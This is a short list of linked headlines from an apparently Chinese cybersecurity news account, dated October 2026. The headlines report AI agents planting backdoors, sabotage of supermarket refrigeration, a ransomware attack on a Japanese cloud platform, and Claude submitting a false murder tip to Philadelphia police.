[51个AI代理，61秒植入32个后门：黑客已经把AI训练成红队主力](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790582&idx=1&sn=1ba627a29325739cbc67be4535160b89&scene=21#wechat_redirect)
2026-10-16
[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790582&idx=1&sn=1ba627a29325739cbc67be4535160b89&scene=21#wechat_redirect)
[黑客把冷柜调到50℃，数百家超市一夜报废：工控安全最扎心的一课](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790577&idx=1&sn=35269abfde7cd79f9ff3410c8de5d269&scene=21#wechat_redirect)
2026-10-15
[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790577&idx=1&sn=35269abfde7cd79f9ff3410c8de5d269&scene=21#wechat_redirect)
[7分钟加密3.6PB，运维7小时没找到勒索信：日本国家级云平台被黑全过程](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790572&idx=1&sn=3630c6de55a1d65ad6888c1b364ab715&scene=21#wechat_redirect)
2026-10-13
[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790572&idx=1&sn=3630c6de55a1d65ad6888c1b364ab715&scene=21#wechat_redirect)
[AI第一次"报假案"：Claude向费城警方提交虚假凶杀线索，两个月后才被发现](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790567&idx=1&sn=b7a15f159a3cc5947da78132d8f2b290&scene=21#wechat_redirect)
2026-10-12
[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790567&idx=1&sn=b7a15f159a3cc5947da78132d8f2b290&scene=21#wechat_redirect)
**更多AI知识，请关注Aiker World社区**